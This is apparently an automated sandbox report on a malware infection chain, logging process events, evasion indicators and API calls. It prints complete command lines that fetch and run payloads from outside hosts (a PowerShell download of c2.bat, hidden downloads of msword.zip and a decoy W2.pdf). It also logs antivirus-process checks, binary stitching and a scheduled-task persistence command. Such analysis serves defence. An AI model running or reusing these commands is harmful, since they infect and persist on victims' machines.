Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4625Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1558Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2708Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2585Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5994Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7115
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2444
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msword\msword.exeJump to dropped file
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comAPI coverage: 4.2 %
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comAPI coverage: 3.9 %
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7520Thread sleep time: -10145709240540247s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7536Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7448Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7544Thread sleep time: -2767011611056431s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7644Thread sleep count: 2708 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7648Thread sleep count: 2585 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7676Thread sleep time: -3689348814741908s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7692Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7624Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7712Thread sleep time: -2767011611056431s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8000Thread sleep count: 5994 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8000Thread sleep count: 65 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8152Thread sleep time: -10145709240540247s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7264Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7984Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8540Thread sleep count: 7115 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8540Thread sleep count: 2444 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8568Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com TID: 2132Thread sleep time: -45000s >= -30000s
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004062D5 FindFirstFileW,FindClose,16_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00402E18 FindFirstFileW,16_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,16_2_00406C9B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00E4A087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00E4A1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,36_2_00E3E472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,36_2_00E4A570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E466DC FindFirstFileW,FindNextFileW,FindClose,36_2_00E466DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0C622 FindFirstFileExW,36_2_00E0C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E473D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,36_2_00E473D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E47333 FindFirstFileW,FindClose,36_2_00E47333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00E3D921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00E3DC54
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_00A8A087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_00A8A1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,38_2_00A7E472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,38_2_00A8A570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A866DC FindFirstFileW,FindNextFileW,FindClose,38_2_00A866DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A4C622 FindFirstFileExW,38_2_00A4C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A873D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,38_2_00A873D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A87333 FindFirstFileW,FindClose,38_2_00A87333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_00A7D921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_00A7DC54
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD5FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,36_2_00DD5FC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\mswordJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\msword\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
Source: powershell.exe, 00000002.00000002.1688925304.00000000071C9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4F4FF BlockInput,36_2_00E4F4FF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,36_2_00DD338B
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,16_2_004062FC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF5058 mov eax, dword ptr fs:[00000030h]36_2_00DF5058
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A35058 mov eax, dword ptr fs:[00000030h]38_2_00A35058
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E320AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,36_2_00E320AA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E02992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_00E02992
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF0BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,36_2_00DF0BAF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF0D45 SetUnhandledExceptionFilter,36_2_00DF0D45
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF0F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,36_2_00DF0F91
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A42992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_00A42992
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A30BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,38_2_00A30BAF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A30D45 SetUnhandledExceptionFilter,38_2_00A30D45
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A30F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,38_2_00A30F91
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E31B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,36_2_00E31B4D
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,36_2_00DD338B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3BBED SendInput,keybd_event,36_2_00E3BBED
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3ECD0 mouse_event,36_2_00E3ECD0
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat""Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
